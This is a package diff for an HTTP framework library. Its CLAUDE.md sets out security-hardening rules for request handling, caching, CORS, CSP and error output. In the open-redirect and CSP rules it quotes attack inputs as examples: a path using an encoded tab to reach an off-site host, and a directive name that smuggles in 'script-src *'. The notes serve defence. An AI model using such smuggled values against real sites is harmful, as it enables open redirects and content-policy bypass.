@ultimat3/http 21.0.0 → 22.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CLAUDE.md +178 -669
- package/README.md +20 -3
- package/package.json +5 -5
- package/src/cache-policy.ts +9 -0
- package/src/csrf.ts +38 -21
- package/src/error-facts.ts +11 -5
- package/src/error-log-level.ts +12 -0
- package/src/error-map.ts +21 -79
- package/src/error-page.ts +9 -1
- package/src/error-status.ts +82 -0
- package/src/errors.ts +0 -11
- package/src/index.ts +14 -26
- package/src/peer-identity.ts +19 -15
- package/src/problem-meta.ts +41 -4
- package/src/response.ts +9 -3
- package/src/security-headers.ts +29 -0
- package/src/server.ts +14 -3
- package/src/stages.ts +22 -12
package/CLAUDE.md
CHANGED
|
@@ -4,675 +4,181 @@ Owned request lifecycle over `Bun.serve`. Tier 2.
|
|
|
4
4
|
|
|
5
5
|
## Boundary
|
|
6
6
|
|
|
7
|
-
- May import: `@ultimat3/core`, `@ultimat3/schema`, `@ultimat3/i18n`, `@ultimat3/time` — tiers 0
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
`
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
- **
|
|
23
|
-
`bodyLimitBytes`, `requestTimeoutMs`, `maxInflight`, `drainTimeoutMs` and `trustedProxyHops`,
|
|
24
|
-
each a whole number in its own domain or `X_CONFIG_INVALID` (core's code, borrowed as
|
|
25
|
-
`@ultimat3/auth` borrows it). Measured with `NaN`, which is what `Number(process.env.…)` answers
|
|
26
|
-
for an unset variable: `total > NaN` is false so the body cap stopped capping and the whole
|
|
27
|
-
payload was buffered; `NaN <= 0` is false so a deadline armed and `setTimeout(fn, NaN)` is 1ms,
|
|
28
|
-
which 504s every request; `ceiling > 0` is false so `admit` shed nothing; and
|
|
29
|
-
`Math.max(0, Math.floor(NaN))` is `NaN`, so `trustProxy: true` silently trusted no hop and every
|
|
30
|
-
caller's ip became the proxy's. `Math.max(0, …)` was the guard for the last of those — a clamp is
|
|
31
|
-
not a validator, and this package relied on one. `webhook-verify.ts` screens its own two
|
|
32
|
-
(`toleranceMs`, `maxBytes`) and `rate-limit.ts` its `maxKeys`; the helper names carry `Finite`
|
|
33
|
-
(`assertFiniteCount`, `assertFiniteKeyCap`, `assertFiniteBodyLimit`) because
|
|
34
|
-
`bun run finite-bounds` recognises a repair by the shape of the CALL — spelled `count`, all five
|
|
35
|
-
config options read as unchecked to the ratchet while every one was screened. `maxBytes` is
|
|
36
|
-
refused HERE as well as inside `readWithinLimit`: that one is a file away and its `fix:` names
|
|
37
|
-
core's reader rather than the option the caller wrote.
|
|
38
|
-
|
|
39
|
-
**The FLOOR is per option, because only the caller knows what zero means** (`As of 2026-08-26`).
|
|
40
|
-
`requestTimeoutMs: 0` is "no deadline" and `maxInflight: 0` is "never shed" — decisions the code
|
|
41
|
-
reads — so those two floor at 0; `trustedProxyHops` floors at **1**, and it shipped for one day
|
|
42
|
-
screened at 0. `forwardedElement` answers `undefined` for `hops < 1`, so
|
|
43
|
-
`{ trustProxy: true, trustedProxyHops: 0 }` was byte-for-byte the failure the screen's own comment
|
|
44
|
-
names: `clientAddress` falls back to the socket, one rate-limit bucket for everything behind the
|
|
45
|
-
ingress, `x-forwarded-proto` untrusted and HSTS never emitted. `-1` and `NaN` were refused for
|
|
46
|
-
producing exactly that state and `0` was accepted into it. `resolveTrustedProxyHops` owns both
|
|
47
|
-
refusals — unset is `X_TRUST_PROXY_UNSET`, out of domain is `X_CONFIG_INVALID` — and there is no
|
|
48
|
-
`?? 0` behind it, because a default of zero reopens the same hole from the other side.
|
|
49
|
-
|
|
50
|
-
**`MAX_PROXY_HOPS` is EXPORTED, `As of 2026-08-26`**, and that is the point of it. It was module
|
|
51
|
-
private, so `@ultimat3/cli`'s `trustedHopsFromEnv` — which screens the same setting arriving as
|
|
52
|
-
`TRUSTED_PROXY_HOPS` — restated the literal, and one setting came to have two ceilings: that end
|
|
53
|
-
said 16 while this one said 64, so a deployment behind 20 hops was accepted by the library and
|
|
54
|
-
refused at boot. `cli` is tier 5 and this is tier 2, so the import is downward and legal. The
|
|
55
|
-
number lives here because this is where the setting is.
|
|
56
|
-
|
|
7
|
+
- May import: `@ultimat3/core`, `@ultimat3/schema`, `@ultimat3/i18n`, `@ultimat3/time` — tiers 0 and
|
|
8
|
+
1. Locale and zone negotiation are i18n's and time's, never re-implemented here.
|
|
9
|
+
- May NOT import `@ultimat3/policy` or `@ultimat3/entity` — same tier. Authz and auth come in via
|
|
10
|
+
`ServerHooks` (`hooks.ts`), declared structurally. `@ultimat3/action` (tier 3) wires policy into
|
|
11
|
+
`hooks.authorize`.
|
|
12
|
+
|
|
13
|
+
## Rules — configuration
|
|
14
|
+
|
|
15
|
+
- **Every numeric knob `defineHttpConfig` resolves is screened** (`port`, `bodyLimitBytes`,
|
|
16
|
+
`requestTimeoutMs`, `maxInflight`, `drainTimeoutMs`, `trustedProxyHops`) → `X_CONFIG_INVALID`
|
|
17
|
+
(borrowed). Helpers carry `Finite` (`assertFiniteCount`, `assertFiniteKeyCap`,
|
|
18
|
+
`assertFiniteBodyLimit`) so `bun run finite-bounds` sees them; `webhook-verify.ts` and
|
|
19
|
+
`rate-limit.ts` screen their own. **The floor is per option**: `requestTimeoutMs: 0` and
|
|
20
|
+
`maxInflight: 0` are "off"; `trustedProxyHops` floors at 1. `resolveTrustedProxyHops` owns both
|
|
21
|
+
refusals (`X_TRUST_PROXY_UNSET`, `X_CONFIG_INVALID`), with no `?? 0` behind it.
|
|
22
|
+
- **`MAX_PROXY_HOPS` is exported** — `@ultimat3/cli`'s `trustedHopsFromEnv` imports it; one ceiling.
|
|
57
23
|
- Route `meta.auth` is required. Never default a route to public.
|
|
58
|
-
- **An app declares its half of `HttpConfig` through `configureHttp()
|
|
59
|
-
facts over it
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
`
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
`
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
`
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
- **`
|
|
80
|
-
`
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
`
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
|
|
96
|
-
|
|
97
|
-
|
|
98
|
-
|
|
99
|
-
|
|
100
|
-
|
|
101
|
-
|
|
102
|
-
|
|
103
|
-
|
|
104
|
-
|
|
105
|
-
`
|
|
106
|
-
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
|
|
114
|
-
|
|
115
|
-
|
|
116
|
-
|
|
117
|
-
|
|
118
|
-
`
|
|
119
|
-
|
|
120
|
-
`
|
|
121
|
-
|
|
122
|
-
|
|
123
|
-
|
|
124
|
-
|
|
125
|
-
|
|
126
|
-
|
|
127
|
-
|
|
128
|
-
|
|
129
|
-
- **A
|
|
130
|
-
|
|
131
|
-
`
|
|
132
|
-
|
|
133
|
-
|
|
134
|
-
|
|
135
|
-
|
|
136
|
-
|
|
137
|
-
|
|
138
|
-
|
|
139
|
-
|
|
140
|
-
`
|
|
141
|
-
`
|
|
142
|
-
|
|
143
|
-
|
|
144
|
-
-
|
|
145
|
-
|
|
146
|
-
|
|
147
|
-
|
|
148
|
-
|
|
149
|
-
|
|
150
|
-
|
|
151
|
-
|
|
152
|
-
|
|
153
|
-
|
|
154
|
-
|
|
155
|
-
|
|
156
|
-
|
|
157
|
-
|
|
158
|
-
|
|
159
|
-
|
|
160
|
-
|
|
161
|
-
|
|
162
|
-
|
|
163
|
-
|
|
164
|
-
|
|
165
|
-
|
|
166
|
-
|
|
167
|
-
|
|
168
|
-
|
|
169
|
-
|
|
170
|
-
`
|
|
171
|
-
|
|
172
|
-
|
|
173
|
-
|
|
174
|
-
|
|
175
|
-
|
|
176
|
-
|
|
177
|
-
|
|
178
|
-
|
|
179
|
-
|
|
180
|
-
|
|
181
|
-
|
|
182
|
-
|
|
183
|
-
|
|
184
|
-
|
|
185
|
-
|
|
186
|
-
|
|
187
|
-
|
|
188
|
-
|
|
189
|
-
|
|
190
|
-
|
|
191
|
-
|
|
192
|
-
|
|
193
|
-
|
|
194
|
-
-
|
|
195
|
-
|
|
196
|
-
|
|
197
|
-
|
|
198
|
-
|
|
199
|
-
|
|
200
|
-
|
|
201
|
-
-
|
|
202
|
-
|
|
203
|
-
|
|
204
|
-
|
|
205
|
-
|
|
206
|
-
|
|
207
|
-
|
|
208
|
-
|
|
209
|
-
`
|
|
210
|
-
|
|
211
|
-
|
|
212
|
-
|
|
213
|
-
|
|
214
|
-
|
|
215
|
-
|
|
216
|
-
double-submit token needs a cookie issuer and a form-field helper at tier 4/5, and a half-built
|
|
217
|
-
token mode is worse than an honest `'origin' | 'off'`.
|
|
218
|
-
- **An unclassified 5xx tells the CALLER nothing off the throwable** (`As of 2026-08-23`).
|
|
219
|
-
`error-page.ts` has always shown a browser the status, the code and the request id and said so in
|
|
220
|
-
its header; `toProblem` rendered `facts.cause`, which for a 500 nobody classified falls through to
|
|
221
|
-
the exception's own `message` — a driver's DSN, the row Postgres rejected, an absolute path. One
|
|
222
|
-
condition, two audiences, and they disagreed. The discriminator is a code nobody declared a status
|
|
223
|
-
for, plus `X_INTERNAL` itself: core's `toError()` wraps a caught value into an `InternalError`
|
|
224
|
-
whose cause is `renderCauseValue(value)`, so the framework's own word for "unclassified" is where
|
|
225
|
-
the leak arrives. `toProblem(error, { dev })` is the seam and `dev` DEFAULTS TO FALSE: the
|
|
226
|
-
`error-map` stage is the one call site that can see the config, and every degraded `problem()` in
|
|
227
|
-
the tail must stay opaque. The real text is not lost — it is the log field and the error report,
|
|
228
|
-
both keyed by the request id the caller was given.
|
|
229
|
-
- **The problem document carries the ISSUE LIST, and the opacity rule applies to it**
|
|
230
|
-
(`As of 2026-08-24`). `ProblemDocument.issues` is a top-level extension member — RFC 9457 §3.2
|
|
231
|
-
puts extension members at the document root and every Ultimate extension already is one
|
|
232
|
-
(`code`, `cause`, `fix`, `docs`, `requestId`); there is no bag. `@ultimat3/action` has attached
|
|
233
|
-
the list to `meta.issues` since `InputInvalidError` grew its third parameter and **nothing
|
|
234
|
-
carried it**, so every app in this framework recovered per-field form errors by splitting
|
|
235
|
-
`cause` on `'; '` — guesswork the moment a message contains the separator.
|
|
236
|
-
|
|
237
|
-
Four rules, and the third is the one most likely to be dropped by a later edit.
|
|
238
|
-
`issuesOf` is TOTAL and module-private, written in `retryAfterOf`'s shape and for its reason:
|
|
239
|
-
`meta` is a property read on a value this package did not build, in the frame that decides what
|
|
240
|
-
the caller sees. It is **all-or-nothing** — a client that finds `issues` uses it INSTEAD of
|
|
241
|
-
`cause`, so one unreadable entry drops the whole list back to the prose line rather than
|
|
242
|
-
shipping a subset, which would be a rejection the user never sees and a form reporting itself
|
|
243
|
-
valid. The member is **absent** when there is none, never `undefined` and never `[]`:
|
|
244
|
-
`JSON.stringify` drops an `undefined`, but this interface is read directly by `error-page.ts`
|
|
245
|
-
and by tests, and `[]` claims "validated clean" about a request that was just refused — which
|
|
246
|
-
the first implementation of this reader emitted, because `Array.isArray([])` is true and the
|
|
247
|
-
loop simply does not run. A list past `MAX_PROBLEM_ISSUES` (100) is dropped WHOLE for the same
|
|
248
|
-
all-or-nothing reason, and because `@ultimat3/action`'s `issuesFromWire` bounds it identically
|
|
249
|
-
on arrival: sending it is a body that costs the wire and answers nothing. That package is tier 3,
|
|
250
|
-
so the number is restated here and pinned on this side. And it is **dropped under exactly the condition
|
|
251
|
-
that blanks `title`/`detail`/`cause`** — an issue list on an unclassified 5xx is precisely the
|
|
252
|
-
internal detail `INTERNAL_CAUSE` exists to withhold, because it names the fields and the
|
|
253
|
-
expectations of something the caller was never meant to see inside. `X_INPUT_INVALID` is a
|
|
254
|
-
declared 4xx and so is never opaque.
|
|
255
|
-
|
|
256
|
-
`received` is forced to `''` and every entry is rebuilt member by member, never spread. Not
|
|
257
|
-
redundancy with `toValidationIssues`, which forces the same thing: this is the boundary where
|
|
258
|
-
the value LEAVES the process, a conforming library's own issue object is first-class here and
|
|
259
|
-
routinely carries the rejected value, and `@ultimat3/schema`'s `describeValue` exists because a
|
|
260
|
-
password-strength rule once wrote mistyped passwords into the log index.
|
|
261
|
-
- **A rejected value is a log FIELD, never part of the message.** `logger.emit()` redacts `bound`,
|
|
262
|
-
`contextFields` and `fields` — and never `msg` — so `logger.error(\`${code}: ${cause}\`)` in the
|
|
263
|
-
`error-map` stage wrote a rejected password verbatim into the log store, at 4xx, which is logged
|
|
264
|
-
and not reported and therefore kept for the full retention. The message is the CODE alone. The
|
|
265
|
-
other half is `@ultimat3/schema`'s `describeValue` (shape, never content) and it is the
|
|
266
|
-
load-bearing one; this half is what makes the value redactable at all.
|
|
267
|
-
- **A repeated field is a LIST, in all three parsers.** `collectFields` in `request.ts` is the one
|
|
268
|
-
collector for the query, `application/x-www-form-urlencoded` and `multipart/form-data`. The last
|
|
269
|
-
two were `Object.fromEntries`, which keeps the LAST value: a checkbox group posting `tags` three
|
|
270
|
-
times reached the body schema as one string, while the query parser three functions up had built
|
|
271
|
-
an array for the same shape since it shipped.
|
|
272
|
-
- **A rejected BODY is not a log field either — `bodyInvalid`'s `issues` may name only what the
|
|
273
|
-
framework chose** (`As of 2026-08-19`). `request.ts` built `could not parse ${type}: ${String(error)}`,
|
|
274
|
-
and the runtime's `SyntaxError` quotes the token it choked on: a `POST` of
|
|
275
|
-
`{"password": hunter2SuperSecret}` answered `422` with that identifier in `cause`, which goes to
|
|
276
|
-
the CALLER through `toProblem` and to the log store as the unredactable field `cause`. Two rules,
|
|
277
|
-
both needed. The caller-facing `issues` are a fixed vocabulary — `could not parse the body as
|
|
278
|
-
JSON`, and the LIST of accepted content-types rather than the one that was sent — and everything
|
|
279
|
-
the caller supplied rides in `bodyInvalid`'s third argument, `meta`, which `toProblem` never
|
|
280
|
-
renders for a framework code (`registerProblemMeta` refuses to declare one). The parser's own message goes through core's `renderThrowable`, never `String(error)`:
|
|
281
|
-
`bun run error-render` cannot see this class of defect, because a `catch` binding is not a
|
|
282
|
-
parameter, so it is a review rule here and a blind spot there.
|
|
283
|
-
- **`meta` reaches the document only by declaration — per code, per key, app codes only**
|
|
284
|
-
(`As of 2026-09-05`). `meta` is the operator-only bag: `bodyInvalid` keeps the body excerpt
|
|
285
|
-
there, the limiter its internal key, core's `assert` the rejected value, `env-example.ts` file
|
|
286
|
-
paths, and each of those relies on `toProblem` never rendering it. So "carry `meta`" was never
|
|
287
|
-
an option, and an app whose `X_SESSION_CHECKOUT_BUSY` put `{ sessionId, title, state }` there
|
|
288
|
-
had its island recover the id by running a UUID regex over `cause`. `registerProblemMeta({
|
|
289
|
-
X_SESSION_CHECKOUT_BUSY: ['sessionId', 'title', 'state'] })` (`problem-meta.ts`) is the seam,
|
|
290
|
-
in `registerErrorStatus`'s shape and refusing what it refuses — a framework-owned code —
|
|
291
|
-
plus `issues` (one home, one bound) and `__proto__`. `wireMeta` copies the declared keys that
|
|
292
|
-
are set, member by member through `Object.defineProperty`, all-or-nothing for `issuesOf`'s
|
|
293
|
-
reason and bounded at `MAX_PROBLEM_META_BYTES`; `toProblem` drops it under exactly the
|
|
294
|
-
`opaque` condition that blanks `cause`, which is also the belt on "both registrations are
|
|
295
|
-
needed": a code with keys and no status is unclassified. The typed client
|
|
296
|
-
(`@ultimat3/action`'s `metaFromWire`) puts the member back on `RemoteActionError.meta`, under
|
|
297
|
-
the four members that class owns.
|
|
298
|
-
- **A browser that fails `auth: 'required'` is redirected; an agent gets the problem document.**
|
|
299
|
-
One condition, two audiences, decided once in `auth-redirect.ts` and applied in the `error-map`
|
|
300
|
-
stage before the overlay. `config.signInPath` is `null` until an app names its page, because a
|
|
301
|
-
framework that guessed `/signin` would send an app spelling it `/login` to a 404 — strictly
|
|
302
|
-
worse than the JSON. The round trip is `?next=`, and `nextAfterSignIn` is the ONE reader of it:
|
|
303
|
-
anything that is not a same-origin path falls back, or the page that hands out a session
|
|
304
|
-
becomes an open redirect. **A control character is an off-site destination**: a browser deletes
|
|
305
|
-
TAB, CR and LF from a `Location` before parsing it, so `/%09/evil.test` decodes to a value that
|
|
306
|
-
starts with one slash, passes a prefix check and is then followed as `//evil.test`. The prefix
|
|
307
|
-
checks are not the last word — the value is re-parsed against an origin no relative path can
|
|
308
|
-
reach, and anything that resolves off it falls back. Nothing here throws either: `?next=%` is a
|
|
309
|
-
bare `URIError`, and this runs while the pipeline is already rendering a 401.
|
|
310
|
-
- **The body cap is enforced while reading, never after.** `UltimateRequest.#read` pulls the body
|
|
311
|
-
through a counting reader and cancels the stream the moment the running total passes
|
|
312
|
-
`bodyLimitBytes`. `content-length` is a courtesy — a `transfer-encoding: chunked` request
|
|
313
|
-
declares none, so `arrayBuffer()` allocated a 10GB payload in full before measuring it. Multipart
|
|
314
|
-
goes through the same capped bytes (re-parsed by `Response.formData()` off the announced
|
|
315
|
-
boundary) rather than being handed to the runtime as an unbounded stream, which is what left it
|
|
316
|
-
with no byte guard at all when the length was undeclared.
|
|
317
|
-
- **The `cache-headers` stage is the ONE owner of the final cache answer, `As of 2026-08-23`.** It
|
|
318
|
-
used to apply the actor-aware default only when nothing had set a header — and every page route
|
|
319
|
-
in every app sets one, because `@ultimat3/render`'s `ssrHeaders` writes
|
|
320
|
-
`public, max-age=0, s-maxage=30, stale-while-revalidate=300` for any route that declares no
|
|
321
|
-
`policy`, which is exactly what `x g route --surface app` scaffolds. So the rule below was
|
|
322
|
-
unreachable for the surface it was written for. A render mode states the MODE's intent; this
|
|
323
|
-
stage decides, and `offersSharedCache` is the discriminator: a shared answer for an identified
|
|
324
|
-
request becomes `PRIVATE_CACHE`, an anonymous one gains `SHARED_CACHE_VARY`. `immutable` is left
|
|
325
|
-
alone in both directions — it asserts the body is a function of the URL, which is what a
|
|
326
|
-
content-addressed island chunk is, and demoting those would re-download every chunk on every
|
|
327
|
-
navigation for every signed-in user.
|
|
328
|
-
- **The cache default reads the ACTOR, not just the route, and `vary` is added and never set.**
|
|
329
|
-
`meta.auth` is only `'public' | 'required'`, so the page that greets a signed-in visitor by name
|
|
330
|
-
is a `'public'` route: keying the default off the route alone put that visitor's personalised
|
|
331
|
-
HTML in a shared cache for 60 seconds. A request whose actor is not anonymous is `private`;
|
|
332
|
-
an anonymous one stays shared-cacheable and carries `vary: accept-language, cookie`. Both halves
|
|
333
|
-
are required — either alone leaves the hole. `addVary` (`response.ts`) is how the `response`
|
|
334
|
-
stage merges CORS's `vary: origin` into the cache stage's key instead of replacing it.
|
|
335
|
-
- **A `security.csp.extend` entry is refused at `defineHttpConfig` unless it can only emit the
|
|
336
|
-
directive it names.** A directive name and a source both go into the header VERBATIM and the
|
|
337
|
-
header's own separators are `;` and ` `, so `extend: { 'x; script-src *': [] }` was not one badly
|
|
338
|
-
named directive — it was a second directive nobody declared, widening the one this package locks
|
|
339
|
-
down hardest. `X_CSP_DIRECTIVE_INVALID`, at boot, because there is no encoding for a CSP source
|
|
340
|
-
and escaping one at emission time is not a repair. `buildCsp` builds through a **`Map`** for the
|
|
341
|
-
other half of the same class: `directives[name]` was a computed read of an object literal keyed by
|
|
342
|
-
a caller-chosen name, so `extend: { toString: [...] }` spread a function off `Object.prototype`
|
|
343
|
-
and threw a bare `TypeError` at boot. `proto-index` cannot see it — `baseline()` is what produces
|
|
344
|
-
the object.
|
|
345
|
-
- **`config.drainTimeoutMs` is `number | null`, and `null` is the default** (`As of 2026-08-23`).
|
|
346
|
-
`createServer` calls `configureLifecycle({ deadlineMs })` only when an app DECLARED one. It used
|
|
347
|
-
to call it unconditionally with a value `defineHttpConfig` had defaulted to 15s, so an app that
|
|
348
|
-
wrote `configureLifecycle({ deadlineMs: 600_000 })` — the edit `X_SHUTDOWN_TIMEOUT`'s own `fix:`
|
|
349
|
-
prints — had it silently reverted by the next line of boot, in every process that serves web.
|
|
350
|
-
"Nobody said" and "the app said 15 seconds" are different claims and only one of them may move a
|
|
351
|
-
process-global deadline.
|
|
352
|
-
- **`cors.origins: ['*']` with `credentials: true` is refused at `defineHttpConfig`.** No browser
|
|
353
|
-
accepts that pair, and `allowedOrigin` answering `null` for it meant the natural "open it up"
|
|
354
|
-
edit emitted no CORS headers at all, silently, on every request — with `DEFAULT_CORS.credentials`
|
|
355
|
-
(true) as the half nobody thinks to look at. `X_CORS_CONFIG_INVALID`, at config time, with the
|
|
356
|
-
one-line edit in the `fix`. A REFUSED origin still gets `vary: origin`: without it a shared cache
|
|
357
|
-
files the un-CORS'd body under the URL alone and hands it to an allowed origin next.
|
|
358
|
-
- **HSTS is emitted only when https is affirmed.** `securityHeaders(config, { https })` defaults to
|
|
359
|
-
NOT sending it — the pipeline is the one caller that knows, and it passes `ctx.https`. The guard
|
|
360
|
-
read `!== false`, so every other caller sent a two-year `includeSubDomains` for a connection
|
|
361
|
-
nothing had established was secure, which is the opposite of what the comment above it promised.
|
|
362
|
-
- **`meta.enforcedBy` says who evaluates `meta.policy`, and the `authz` stage obeys it.**
|
|
363
|
-
`'pipeline'` (the default, and what a page wants) means the stage decides through
|
|
364
|
-
`hooks.authorize`; `'handler'` means the handler is the one evaluation and the stage returns
|
|
365
|
-
without deciding — no hook required, and none consulted. An action route says `'handler'`
|
|
366
|
-
because `@ultimat3/action`'s `invoke` loads the row a row-level rule reads and this stage
|
|
367
|
-
cannot. Deciding in both places is two authz systems, and the one that answers first is the
|
|
368
|
-
one holding less.
|
|
369
|
-
- **A 403's `fix:` names the POLICY, never the pathname** (`As of 2026-08`). `forbidden` emitted
|
|
370
|
-
`x policy explain ${ctx.url.pathname}`, and `x policy explain` resolves a policy SUBJECT — a
|
|
371
|
-
permission, an action name or a query name. A page pathname is none of them, so the one command
|
|
372
|
-
the error told the reader to run exited `X_DECLARATION_UNKNOWN` (`x policy explain /settings`,
|
|
373
|
-
reproduced in `examples/dummy`). The third argument is `route.meta.policy`, which is what the
|
|
374
|
-
`authz` stage was evaluating and what the index can resolve; anything that is not a bare
|
|
375
|
-
`resource:verb` — a composite renders `and(a:b, c:d)` — degrades to `x routes --json`, the shape
|
|
376
|
-
`bodyInvalid` already uses. A fix that names the wrong thing is not a fix.
|
|
377
|
-
- **`ctx.actor` is never null.** `asCtx` publishes the request context itself as core's `Ctx`,
|
|
378
|
-
and `Ctx.actor` is an `Actor` — so "nobody" is core's anonymous actor, not `null`. The
|
|
379
|
-
`authenticate` hook still says it with `null`; the `auth` stage is where that becomes
|
|
380
|
-
`anonymousActor()`. A null here reaches every `ctx.actor` reader in the framework as a contract
|
|
381
|
-
violation that only shows up on the first unauthenticated request.
|
|
382
|
-
- **The lifecycle is three files, and the split is by responsibility, not by length.** `pipeline.ts`
|
|
383
|
-
owns the ORDER (`PIPELINE_STAGES`, the phases, the run loop, ALS, the span and the one metrics
|
|
384
|
-
call); `stages.ts` owns what each stage does and declares the vocabulary (`StageName`,
|
|
385
|
-
`StageRun`, `Stage`) beside the implementations it names; `finalize.ts` owns the promise that the
|
|
386
|
-
tail answers rather than rejects. Imports go one way — `pipeline.ts` → `stages.ts` — because a
|
|
387
|
-
stage body reads `StageRunnersInput`, an explicit list of what a stage may depend on, and never
|
|
388
|
-
`PipelineDeps`. Adding a stage means an entry in **both** `PIPELINE_STAGES` and the
|
|
389
|
-
`Record<StageName, StageRun>` table; the record type is what makes forgetting one a build error.
|
|
390
|
-
- Never add a stage to `PIPELINE_STAGES` without a `why` and a test.
|
|
391
|
-
- **The `locale` stage decides WHERE, the owners decide WHAT.** It reads a header and a cookie and
|
|
392
|
-
hands the raw strings to `@ultimat3/i18n`'s `resolveLocale` and `@ultimat3/time`'s
|
|
393
|
-
`resolveTimeZone`; it must never negotiate, validate or canonicalize one itself. The two answers
|
|
394
|
-
land on `ctx.locale` and `ctx.tz` — **core's own declared fields, the framework's only ambient
|
|
395
|
-
store for either** — so `currentLocale()` and `currentTimeZone()` answer for this request once
|
|
396
|
-
`pipeline.ts` publishes the context into the ALS. `@ultimat3/time` kept a second store
|
|
397
|
-
(`ctx['timeZone']`) with zero writers until 1.3.0, and the whole cost was silent: every
|
|
398
|
-
`@ultimat3/ui` server render formatted its dates in UTC however the request arrived. A default
|
|
399
|
-
for either value is `configureTime({ defaultZone })` / `defineCatalogs({ default })`, never a
|
|
400
|
-
third copy in `HttpConfig`.
|
|
401
|
-
- **`toBucket` lives here, not in `@ultimat3/action`.** `action` and `query` are the same tier and
|
|
402
|
-
can never import each other, so the only conversion between `{ limit, windowMs }` and a `Bucket`
|
|
403
|
-
sitting in one of them is why a `query` could not declare a rate limit at all. It is beside
|
|
404
|
-
`Bucket` and the maths it validates, and it throws http's own `X_RATE_LIMIT_INVALID`.
|
|
405
|
-
- **`ERROR_STATUS`'s keys are LITERAL, not an index signature** (`As of 2026-08-19`). The
|
|
406
|
-
annotation was `Readonly<Record<string, number>>`, which made `ERROR_STATUS.X_QUERY_NOT_PAGABLE`
|
|
407
|
-
a legal read answering `undefined` — a mistyped row in the one table the framework's whole error
|
|
408
|
-
contract rests on. It is now an object literal `satisfies Readonly<Record<string, number>>`, so a
|
|
409
|
-
typo is a compile error; `error-map.test.ts` pins that with a `@ts-expect-error`. Read it by a
|
|
410
|
-
code the framework did not mint through `statusFor()`, which goes via the file-local `BY_CODE`
|
|
411
|
-
view and keeps `Object.hasOwn`.
|
|
412
|
-
- **A problem document's `type` and its `docs` are two different questions, `As of 2026-08-23`.**
|
|
413
|
-
Both used to be `https://ultimate.dev/errors/<code>` — one string, twice, and a host that
|
|
414
|
-
answers **404** on every 4xx and 5xx this package has ever rendered. `docs` is now core's
|
|
415
|
-
`ERROR_DOCS_URL`, one wiki page for every code, and it is never spelled here: a construction site
|
|
416
|
-
omits `docs:` and `UltimateError` resolves it. `type` did NOT follow it there. It is RFC 9457's
|
|
417
|
-
primary identifier for the problem KIND — a client switches on it — so collapsing it onto one
|
|
418
|
-
page would have given a 422 and a 403 the same identifier. `problemTypeFor(code)` answers
|
|
419
|
-
`urn:ultimate:error:<CODE>`: per code, stable, and a URN has no host to rot. `finalize.ts`'s
|
|
420
|
-
`lastResort` spells its one `type` as a literal because that function calls nothing, and
|
|
421
|
-
`pipeline-finalize.test.ts` pins the literal against `problemTypeFor('X_INTERNAL')` so the two
|
|
422
|
-
cannot drift. Never assert either value as a copied string — import the constant.
|
|
423
|
-
- **`error-map.ts` answers the status; `error-facts.ts` renders the throwable** (`As of
|
|
424
|
-
2026-08-24`). One file did both and reached 501 lines, over the ceiling. The seam between
|
|
425
|
-
them is `declaredStatusFor(code)` — `number | undefined`, exported to this package only —
|
|
426
|
-
because the two questions are genuinely different: `statusFor` always answers a number, while
|
|
427
|
-
"did ANYBODY classify this code" is what decides whether a 5xx may carry the throwable's own
|
|
428
|
-
words back to the caller (`isUnclassifiedFailure`). Imports go one way, `error-facts.ts` →
|
|
429
|
-
`error-map.ts`; a status read from the facts file would be the second table this package
|
|
430
|
-
spent a release deleting.
|
|
431
|
-
- Statuses live in `error-map.ts` only. No other file writes a status number. The framework's
|
|
432
|
-
table (`ERROR_STATUS`) is closed; an app declares its own codes' statuses with
|
|
433
|
-
`registerErrorStatus()`, which refuses a code the framework already holds. Without that half,
|
|
434
|
-
every app code was 500 and `pipeline.ts` paged the on-call for a wrong password. There is
|
|
435
|
-
deliberately **no projection of the app's half**: `appErrorStatus()` was exported for "`x errors
|
|
436
|
-
list` and the manifest" and neither ever called it (deleted 2026-08). It could not have worked —
|
|
437
|
-
`APP_ERROR_STATUS` is process-global runtime state filled by the app's own imports, while both
|
|
438
|
-
named surfaces are build artefacts derived from source, so in a CLI process it answers `{}`.
|
|
439
|
-
Wiring one means deriving it from source, not re-exporting the map.
|
|
440
|
-
- **A handler's own `Response.status` is never rewritten.** `error-map.ts` answers the status of a
|
|
441
|
-
THROW; a status a handler chose — `html(page, { status: 404 })`, which is what a page route's
|
|
442
|
-
`withStatus(404, data)` in `@ultimat3/render` becomes — passes through every stage as written,
|
|
443
|
-
body included, in dev and in production. `pipeline-handler-status.test.ts` pins it, because the
|
|
444
|
-
render seam is only true while this is: ai-maxxing's `/fleet/nope` answered 200 for as long as
|
|
445
|
-
the only way to a 404 was the error page, outside the app's shell.
|
|
446
|
-
- **The context carries the inbound headers, never the `Request`.** `ctx.requestHeaders` is set
|
|
447
|
-
once at construction; `useRequestHeader` / `useRequestCookie` are what app code reads, and
|
|
448
|
-
`UltimateRequest.cookie()` is what `hooks.authenticate` reads. A `Request` on the context is a
|
|
449
|
-
second body reader past the size cap, the content-type parse and the cache.
|
|
450
|
-
- **`hooks.authenticate` has one declaration site: `configureAuthenticator()`.** A single value,
|
|
451
|
-
not a list — two answers to "who is this?" is two identities per request. `@ultimat3/auth` is
|
|
452
|
-
the same tier and can never import this package, so the app is what wires them together.
|
|
453
|
-
- **`hooks.devNotices` is dev-only, and the overlay path is the only place it is called.**
|
|
454
|
-
`OverlayNotice` is declared structurally in `overlay.ts` because the packages that produce one
|
|
455
|
-
— `@ultimat3/entity`'s N+1 codes, reported by `x dev` — are this tier or above and can never be
|
|
456
|
-
